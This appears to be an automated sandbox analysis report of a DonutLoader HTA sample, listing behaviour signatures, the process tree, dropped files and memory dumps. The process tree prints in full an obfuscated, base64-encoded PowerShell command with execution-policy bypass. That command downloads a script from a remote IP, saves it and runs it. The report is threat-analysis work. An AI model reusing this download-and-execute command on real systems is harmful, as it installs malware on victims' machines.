Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
05/07/2026, 09:38
General
- Target fdd.hta
- Size 48KB
- Sample260705-ll3lrae16j
- SHA256 540a0c9d12b13a3b084fac354c6c3cf7bfaea52bdf7c00ef69f9bb1881060498
Malware Config
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Detects DonutLoader 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fdd.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/C POWERsHeLl -Ex ByPaSS -NOP -w 1 -Ec IAAgACAAIAAgAHcAZwBFAHQAIAAJACAAIAAgAAkAIAAgACAACQAJAAkAHSBoAHQAdABwADoALwAvADEAOQAyAC4AMgAzADYALgAyADEANwAuADcANwAvADMAMwAvAGcAbwBvAGQAcABlAG8AcABlAGwAcwBnAGkAdgBlAGkAbgBnAGIAZQBzAHQAcwBlAHIAdgBpAGMAZQBmAG8AcgBiAGUAcwB0AC4AagBzAB0gIAAJACAAIAAJACAAIAAJAAkACQAgAAkAIAAJAAkACQAgACAACQAJACAACQAgAAkALQBvAFUAdABmAGkAbABlACAACQAJAAkAHSAkAGUAbgBWADoAQQBwAHAARABhAFQAYQBcAGcAbwBvAGQAcABlAG8AcABlAGwAcwBnAGkAdgBlAGkAbgBnAGIAZQBzAHQAcwBlAHIAdgBpAGMAZQBmAG8AcgBiAGUAcwB0AC4AagBzAB0gIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOwAgACAAIAAgACAAIAAgACAAIAAgACYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAHSAkAGUAbgBWADoAYQBQAFAAZABBAHQAYQBcAGcAbwBvAGQAcABlAG8AcABlAGwAcwBnAGkAdgBlAGkAbgBnAGIAZQBzAHQAcwBlAHIAdgBpAGMAZQBmAG8AcgBiAGUAcwB0AC4AagBzAB0g "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePOWERsHeLl -Ex ByPaSS -NOP -w 1 -Ec IAAgACAAIAAgAHcAZwBFAHQAIAAJACAAIAAgAAkAIAAgACAACQAJAAkAHSBoAHQAdABwADoALwAvADEAOQAyAC4AMgAzADYALgAyADEANwAuADcANwAvADMAMwAvAGcAbwBvAGQAcABlAG8AcABlAGwAcwBnAGkAdgBlAGkAbgBnAGIAZQBzAHQAcwBlAHIAdgBpAGMAZQBmAG8AcgBiAGUAcwB0AC4AagBzAB0gIAAJACAAIAAJACAAIAAJAAkACQAgAAkAIAAJAAkACQAgACAACQAJACAACQAgAAkALQBvAFUAdABmAGkAbABlACAACQAJAAkAHSAkAGUAbgBWADoAQQBwAHAARABhAFQAYQBcAGcAbwBvAGQAcABlAG8AcABlAGwAcwBnAGkAdgBlAGkAbgBnAGIAZQBzAHQAcwBlAHIAdgBpAGMAZQBmAG8AcgBiAGUAcwB0AC4AagBzAB0gIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOwAgACAAIAAgACAAIAAgACAAIAAgACYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAHSAkAGUAbgBWADoAYQBQAFAAZABBAHQAYQBcAGcAbwBvAGQAcABlAG8AcABlAGwAcwBnAGkAdgBlAGkAbgBnAGIAZQBzAHQAcwBlAHIAdgBpAGMAZQBmAG8AcgBiAGUAcwB0AC4AagBzAB0g "3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\goodpeopelsgiveingbestserviceforbest.js"4⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\JJGIMJPBTQUZEYUL.PIF"C:\Users\Admin\Documents\JJGIMJPBTQUZEYUL.PIF" C:\Users\Admin\Documents\JJGIMJPBTQUZEYUL.ttf5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
goodpeopelsgiveingbestserviceforbest.js
JJGIMJPBTQUZEYUL.PIF
JJGIMJPBTQUZEYUL.ttf
memory/3424-12-0x00000000069E0000-0x0000000006A2C000-memory.dmp
memory/3424-14-0x0000000006E60000-0x0000000006E7A000-memory.dmp
memory/3424-5-0x00000000062C0000-0x00000000062E2000-memory.dmp
memory/3424-7-0x00000000063D0000-0x0000000006436000-memory.dmp
memory/3424-6-0x0000000006360000-0x00000000063C6000-memory.dmp
memory/3424-10-0x00000000064D0000-0x000000000682B000-memory.dmp
memory/3424-11-0x0000000006950000-0x000000000696E000-memory.dmp
memory/3424-0-0x0000000074E82000-0x0000000074E83000-memory.dmp
memory/3424-13-0x0000000008240000-0x00000000088BC000-memory.dmp
memory/3424-4-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/3424-15-0x0000000074E82000-0x0000000074E83000-memory.dmp
memory/3424-16-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/3424-17-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/3424-3-0x0000000005C30000-0x000000000627A000-memory.dmp
memory/3424-24-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/3424-2-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/3424-1-0x0000000003490000-0x00000000034C6000-memory.dmp
memory/3940-47-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-70-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-37-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-38-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-41-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-40-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-39-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-43-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-44-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-42-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-48-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-49-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-35-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-46-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-45-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-51-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-50-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-52-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-69-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-72-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-71-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-36-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-68-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-66-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-65-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-64-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-63-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-62-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-61-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-60-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-59-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-58-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-57-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-56-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-55-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-54-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-67-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-53-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/3940-73-0x0000000017D80000-0x0000000018D80000-memory.dmp
memory/3940-74-0x00000000033A0000-0x0000000003466000-memory.dmp
memory/3940-75-0x0000000003520000-0x000000000359C000-memory.dmp
memory/3940-76-0x0000000005540000-0x0000000005618000-memory.dmp
memory/3940-77-0x0000000003490000-0x00000000034DC000-memory.dmp
memory/3940-78-0x0000000000400000-0x000000000047B000-memory.dmp